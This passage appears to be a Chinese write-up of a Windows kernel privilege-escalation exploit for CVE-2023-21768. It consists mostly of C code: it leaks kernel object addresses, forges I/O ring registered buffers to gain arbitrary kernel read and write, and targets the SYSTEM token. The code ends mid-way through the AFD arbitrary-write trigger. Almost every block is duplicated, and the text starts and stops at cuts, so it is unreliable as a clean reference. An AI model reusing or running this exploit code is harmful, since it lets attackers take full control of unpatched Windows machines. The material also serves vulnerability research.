HANDLE CompletionPortHandle,
ULONG_PTR CompletionKey,
PVOID CompletionContext,
NTSTATUS Status,
ULONG_PTR Information
);
该函数的输入参数包括:
CompletionPortHandle:I/O 完成端口的句柄。
CompletionKey:一个与已完成的 I/O 操作相关联的键值,由驱动程序在创建完成端口时指定。
CompletionContext:一个指向完成操作的上下文数据结构的指针,包含有关已完成的 I/O 操作的信息。
Status:已完成操作的状态,通常是一个 NTSTATUS 类型的值。
Information:与已完成的 I/O 操作相关的信息,通常是一个 ULONG_PTR 类型的值。
NtSetIoCompletion 函数的返回值是 NTSTATUS 类型的错误代码,如果操作成功完成,则返回 STATUS_SUCCESS。
使用 NtSetIoCompletion 函数将完成包添加到 I/O 完成端口的完成队列中后,可以使用 IoRemoveIoCompletion 函数从队列中取出完成包并处理已完成的 I/O 操作。这种机制使得驱动程序或其他内核组件能够实现异步 I/O 操作,从而提高系统的响应速度和性能。
NtSetIoCompletion 是 Windows 操作系统内核中的一个函数,用于向 I/O 完成端口的完成队列中添加一个 I/O 完成包。该函数通常在内核模式下使用,用于驱动程序或其他内核组件实现异步 I/O 操作。
NtSetIoCompletion 函数的原型如下:
scss
Copy code
NTSTATUS NtSetIoCompletion(
HANDLE CompletionPortHandle,
ULONG_PTR CompletionKey,
PVOID CompletionContext,
NTSTATUS Status,
ULONG_PTR Information
);
该函数的输入参数包括:
CompletionPortHandle:I/O 完成端口的句柄。
CompletionKey:一个与已完成的 I/O 操作相关联的键值,由驱动程序在创建完成端口时指定。
CompletionContext:一个指向完成操作的上下文数据结构的指针,包含有关已完成的 I/O 操作的信息。
Status:已完成操作的状态,通常是一个 NTSTATUS 类型的值。
Information:与已完成的 I/O 操作相关的信息,通常是一个 ULONG_PTR 类型的值。
NtSetIoCompletion 函数的返回值是 NTSTATUS 类型的错误代码,如果操作成功完成,则返回 STATUS_SUCCESS。
使用 NtSetIoCompletion 函数将完成包添加到 I/O 完成端口的完成队列中后,可以使用 IoRemoveIoCompletion 函数从队列中取出完成包并处理已完成的 I/O 操作。这种机制使得驱动程序或其他内核组件能够实现异步 I/O 操作,从而提高系统的响应速度和性能。
NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
NtSetIoCompletion(hCompletion, 0, &IoStatusBlock, 0, 0x100);
Data.HandleIoCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.dwTimeout = 1000;
Data.pPwnPtr = &test;
NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
NtSetIoCompletion(hCompletion, 0, &IoStatusBlock, 0, 0x100);
Data.HandleIoCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.dwTimeout = 1000;
Data.pPwnPtr = &test;
HIORING handle = NULL;
void RegisterBuffersfileReadWrite()
{
HRESULT result;
IORING_CREATE_FLAGS flags;
IORING_BUFFER_INFO *buffers;
unsigned int count=2;
UINT32 submittedEntries;
//创建一个IORING
flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, &handle);
if (!SUCCEEDED(result))
{
printf("Failed creating IO ring handle: 0x%x\n", result);
return;
}
//预注册输出缓冲区,两个
buffers=(IORING_BUFFER_INFO*)VirtualAlloc(NULL, sizeof(IORING_BUFFER_INFO) * count, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
buffers[0].Address = (void*)VirtualAlloc(NULL, 0x20, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
buffers[0].Length = 0x20;
buffers[1].Address = (void*)VirtualAlloc(NULL, 0x10, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(buffers[1].Address, "ABC", 0x3);
buffers[1].Length = 0x10;
BuildIoRingRegisterBuffers(handle,2, buffers, 0);
//获取文件句柄
HANDLE hFile = CreateFile("C:\\Users\\25077\\Desktop\\test\\ioRing.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Failed to open file. Error code: %d\n", GetLastError());
return;
}
IORING_HANDLE_REF requestDataFile=IoRingHandleRefFromHandle(hFile);
//用第一个来读
IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
result = BuildIoRingReadFile(handle,requestDataFile, requestDataBuffer, 0x10, 0,NULL, IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("Failed building IO ring read file structure: 0x%x\n", result);
return;
}
//用第二个来写
requestDataBuffer = IoRingBufferRefFromIndexAndOffset(1, 0);
result = BuildIoRingWriteFile(handle, requestDataFile, requestDataBuffer, 0x10, 0x3, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("Failed building IO ring Write file structure: 0x%x\n", result);
return;
}
//提交
result = SubmitIoRing(handle, 0, 0, 0);
if (!SUCCEEDED(result))
{
printf("Failed submitting IO ring: 0x%x\n", result);
return;
}
//打印读取到的数据
printf("%s", buffers[0].Address);
if (handle != NULL)
{
CloseIoRing(handle);
}
if (hFile)
{
CloseHandle(hFile);
}
VirtualFree(buffers[0].Address, 0x20, MEM_RELEASE);
VirtualFree(buffers[1].Address, 0x10, MEM_RELEASE);
}
int main()
{
RegisterBuffersfileReadWrite();
}
HIORING handle = NULL;
void RegisterBuffersfileReadWrite()
{
HRESULT result;
IORING_CREATE_FLAGS flags;
IORING_BUFFER_INFO *buffers;
unsigned int count=2;
UINT32 submittedEntries;
//创建一个IORING
flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, &handle);
if (!SUCCEEDED(result))
{
printf("Failed creating IO ring handle: 0x%x\n", result);
return;
}
//预注册输出缓冲区,两个
buffers=(IORING_BUFFER_INFO*)VirtualAlloc(NULL, sizeof(IORING_BUFFER_INFO) * count, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
buffers[0].Address = (void*)VirtualAlloc(NULL, 0x20, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
buffers[0].Length = 0x20;
buffers[1].Address = (void*)VirtualAlloc(NULL, 0x10, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(buffers[1].Address, "ABC", 0x3);
buffers[1].Length = 0x10;
BuildIoRingRegisterBuffers(handle,2, buffers, 0);
//获取文件句柄
HANDLE hFile = CreateFile("C:\\Users\\25077\\Desktop\\test\\ioRing.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Failed to open file. Error code: %d\n", GetLastError());
return;
}
IORING_HANDLE_REF requestDataFile=IoRingHandleRefFromHandle(hFile);
//用第一个来读
IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
result = BuildIoRingReadFile(handle,requestDataFile, requestDataBuffer, 0x10, 0,NULL, IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("Failed building IO ring read file structure: 0x%x\n", result);
return;
}
//用第二个来写
requestDataBuffer = IoRingBufferRefFromIndexAndOffset(1, 0);
result = BuildIoRingWriteFile(handle, requestDataFile, requestDataBuffer, 0x10, 0x3, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("Failed building IO ring Write file structure: 0x%x\n", result);
return;
}
//提交
result = SubmitIoRing(handle, 0, 0, 0);
if (!SUCCEEDED(result))
{
printf("Failed submitting IO ring: 0x%x\n", result);
return;
}
//打印读取到的数据
printf("%s", buffers[0].Address);
if (handle != NULL)
{
CloseIoRing(handle);
}
if (hFile)
{
CloseHandle(hFile);
}
VirtualFree(buffers[0].Address, 0x20, MEM_RELEASE);
VirtualFree(buffers[1].Address, 0x10, MEM_RELEASE);
}
int main()
{
RegisterBuffersfileReadWrite();
}
typedef struct _IORING_OBJECT
{
USHORT Type; // 结构体类型
USHORT Size; // 结构体大小
NT_IORING_INFO UserInfo; // 包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息
PVOID Section; // 内存映射文件Section对象的指针
PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;// 存储IO请求的Submission Queue的指针
PMDL CompletionQueueMdl; // 缓存Completion Queue的MDL的指针
PNT_IORING_COMPLETION_QUEUE CompletionQueue;// 存储IO请求完成状态的Completion Queue的指针
ULONG64 ViewSize; // 映射视图的大小
ULONG InSubmit; // IO请求的数量
ULONG64 CompletionLock; // 保护计数器的锁,在读取CQring时使用
ULONG64 SubmitCount; // 已提交IO请求SQEs的数量
ULONG64 CompletionCount; // 已完成的IO请求数量
ULONG64 CompletionWaitUntil; // 等待完成IO请求的时间,当完成请求缓存区被解锁时使用
KEVENT CompletionEvent; // 内核事件,在IO请求完成时发出
UCHAR SignalCompletionEvent; // 是否使用信号量发出完成事件的标志
PKEVENT CompletionUserEvent; // 一个与CompletionEvent成分的用户事件。用户可以使用此事件来通知一个或多个等待线程,IO请求已完成。
ULONG RegBuffersCount; // 注册的缓冲区数量
PVOID RegBuffers; // 已注册的缓冲区列表的指针
ULONG RegFilesCount; // (异步)读取操作所涉及的文件句柄的数量
PVOID* RegFiles; // (异步)读取操作所涉及的文件句柄列表的指针
} IORING_OBJECT, *PIORING_OBJECT;
typedef struct _IORING_OBJECT
{
USHORT Type; // 结构体类型
USHORT Size; // 结构体大小
NT_IORING_INFO UserInfo; // 包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息
PVOID Section; // 内存映射文件Section对象的指针
PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;// 存储IO请求的Submission Queue的指针
PMDL CompletionQueueMdl; // 缓存Completion Queue的MDL的指针
PNT_IORING_COMPLETION_QUEUE CompletionQueue;// 存储IO请求完成状态的Completion Queue的指针
ULONG64 ViewSize; // 映射视图的大小
ULONG InSubmit; // IO请求的数量
ULONG64 CompletionLock; // 保护计数器的锁,在读取CQring时使用
ULONG64 SubmitCount; // 已提交IO请求SQEs的数量
ULONG64 CompletionCount; // 已完成的IO请求数量
ULONG64 CompletionWaitUntil; // 等待完成IO请求的时间,当完成请求缓存区被解锁时使用
KEVENT CompletionEvent; // 内核事件,在IO请求完成时发出
UCHAR SignalCompletionEvent; // 是否使用信号量发出完成事件的标志
PKEVENT CompletionUserEvent; // 一个与CompletionEvent成分的用户事件。用户可以使用此事件来通知一个或多个等待线程,IO请求已完成。
ULONG RegBuffersCount; // 注册的缓冲区数量
PVOID RegBuffers; // 已注册的缓冲区列表的指针
ULONG RegFilesCount; // (异步)读取操作所涉及的文件句柄的数量
PVOID* RegFiles; // (异步)读取操作所涉及的文件句柄列表的指针
} IORING_OBJECT, *PIORING_OBJECT;
typedef struct _HIORING
{
HANDLE handle; // IO环操作对象的句柄
NT_IORING_INFO Info; // 包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息
ULONG IoRingKernelAcceptedVersion; // 内核支持的IO环版本号
PVOID RegBufferArray; // 注册缓冲区的指针,用于注册IO缓冲区
ULONG BufferArraySize; // 注册缓冲区的大小
PVOID Unknown; // 未知指针,可能提供额外的信息
ULONG FileHandlesCount; // IO环管理的文件句柄数量
ULONG SubQueueHead; // IO环子队列的头部索引
ULONG SubQueueTail; // IO环子队列的尾部索引
} _HIORING;
typedef struct _HIORING
{
HANDLE handle; // IO环操作对象的句柄
NT_IORING_INFO Info; // 包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息
ULONG IoRingKernelAcceptedVersion; // 内核支持的IO环版本号
PVOID RegBufferArray; // 注册缓冲区的指针,用于注册IO缓冲区
ULONG BufferArraySize; // 注册缓冲区的大小
PVOID Unknown; // 未知指针,可能提供额外的信息
ULONG FileHandlesCount; // IO环管理的文件句柄数量
ULONG SubQueueHead; // IO环子队列的头部索引
ULONG SubQueueTail; // IO环子队列的尾部索引
} _HIORING;
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type; // 结构体类型
USHORT Reserved; // 保留字段
ULONG Size; // 结构体大小
ULONG ReferenceCount; // 结构体引用计数
ULONG Flags; // 标志位
LIST_ENTRY GlobalDataLink; // 全局数据链接列表
PVOID Address; // 缓冲区的地址
ULONG Length; // 缓冲区的长度
CHAR AccessMode; // 缓冲区的访问模式
ULONG MdlRef; // 缓冲区的MDL引用数
PMDL Mdl; // 缓冲区的MDL
KEVENT MdlRundownEvent; // 缓冲区的MDL结束事件
PULONG64 PfnArray; // 物理页帧号数组的指针
IOP_MC_BE_PAGE_NODE PageNodes[1]; // 物理页节点数组
} IOP_MC_BUFFER_ENTRY, *PIOP_MC_BUFFER_ENTRY;
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type; // 结构体类型
USHORT Reserved; // 保留字段
ULONG Size; // 结构体大小
ULONG ReferenceCount; // 结构体引用计数
ULONG Flags; // 标志位
LIST_ENTRY GlobalDataLink; // 全局数据链接列表
PVOID Address; // 缓冲区的地址
ULONG Length; // 缓冲区的长度
CHAR AccessMode; // 缓冲区的访问模式
ULONG MdlRef; // 缓冲区的MDL引用数
PMDL Mdl; // 缓冲区的MDL
KEVENT MdlRundownEvent; // 缓冲区的MDL结束事件
PULONG64 PfnArray; // 物理页帧号数组的指针
IOP_MC_BE_PAGE_NODE PageNodes[1]; // 物理页节点数组
} IOP_MC_BUFFER_ENTRY, *PIOP_MC_BUFFER_ENTRY;
mcBufferEntry->Address = TargetAddress;
mcBufferEntry->Length = Length;
mcBufferEntry->Type = 0xc02;
mcBufferEntry->Size = 0x80; // 0x20 * (numberOfPagesInBuffer + 3)
mcBufferEntry->AccessMode = 1;
mcBufferEntry->ReferenceCount = 1;
mcBufferEntry->Address = TargetAddress;
mcBufferEntry->Length = Length;
mcBufferEntry->Type = 0xc02;
mcBufferEntry->Size = 0x80; // 0x20 * (numberOfPagesInBuffer + 3)
mcBufferEntry->AccessMode = 1;
mcBufferEntry->ReferenceCount = 1;
int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
int ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulBytes = 0;
NTSTATUS ntStatus = STATUS_SUCCESS;
while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);
}
else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (ntStatus != STATUS_SUCCESS)
{
ret = ntStatus;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == handle))
{
*ppObjAddr = pHandleInfo->Handles[i].Object;
ret = 0;
break;
}
}
done:
if (NULL != pHandleInfo)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return ret;
}
int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
int ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulBytes = 0;
NTSTATUS ntStatus = STATUS_SUCCESS;
while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);
}
else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (ntStatus != STATUS_SUCCESS)
{
ret = ntStatus;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == handle))
{
*ppObjAddr = pHandleInfo->Handles[i].Object;
ret = 0;
break;
}
}
done:
if (NULL != pHandleInfo)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return ret;
}
BOOL Init_CVE_2023_21768()
{
_NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
_NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
_NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
_NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
_NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (_NtSetIoCompletion == NULL|| _NtDeviceIoControlFile == NULL|| _NtCreateFile == NULL|| _NtCreateIoCompletion == NULL)
{
printf("get function false ");
return FALSE;
}
ioring_init(&pIoRing);
File_init();
FakeRegisterBuffers_init();
TokenAddr_init();
}
BOOL Init_CVE_2023_21768()
{
_NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
_NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
_NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
_NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
_NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (_NtSetIoCompletion == NULL|| _NtDeviceIoControlFile == NULL|| _NtCreateFile == NULL|| _NtCreateIoCompletion == NULL)
{
printf("get function false ");
return FALSE;
}
ioring_init(&pIoRing);
File_init();
FakeRegisterBuffers_init();
TokenAddr_init();
}
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pMcBufferEntry->Address = (PVOID)pWriteAddr;
pMcBufferEntry->Length = ulWriteLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pMcBufferEntry->Address = (PVOID)pWriteAddr;
pMcBufferEntry->Length = ulWriteLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pMcBufferEntry->Address = (PVOID)pReadAddr;
pMcBufferEntry->Length = ulReadLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int ret = -1;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (NULL == pMcBufferEntry)
{
ret = GetLastError();
goto done;
}
pMcBufferEntry->Address = (PVOID)pReadAddr;
pMcBufferEntry->Length = ulReadLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if (0 != ret)
{
goto done;
}
ret = SubmitIoRing(hIoRing, 0, 0, NULL);
if (0 != ret)
{
goto done;
}
ret = PopIoRingCompletion(hIoRing, &cqe);
if (0 != ret)
{
goto done;
}
if (0 != cqe.ResultCode)
{
ret = cqe.ResultCode;
goto done;
}
if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret = GetLastError();
goto done;
}
ret = 0;
done:
if (NULL != pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return ret;
}
DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
namespace CVE_2023_21768
{
HIORING hIoRing = NULL;
PIORING_OBJECT pIoRing = NULL;
HANDLE hInPipe = INVALID_HANDLE_VALUE;
HANDLE hOutPipe = INVALID_HANDLE_VALUE;
HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;
DWORD64 FakeRegBufferAddr = 0x1000000;
PVOID pFakeRegBuffers = NULL;
unsigned int FakeRegBuffersCount = 1;
DWORD64 SystemEPROCaddr = 0;
DWORD64 MyEPROCaddr = 0;
DWORD64 SystemTokenaddr = 0;
DWORD64 MyTokenaddr = 0;
DWORD64 test = 0;
}
using namespace CVE_2023_21768;
//漏洞点任意地址写0x1
BOOL ExploitWrite0x1(void* pTargetPtr)
{
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent = NULL;
HANDLE hSocket = NULL;
HANDLE hCompletion = INVALID_HANDLE_VALUE;
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus = 0;
BYTE bExtendedAttributes[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
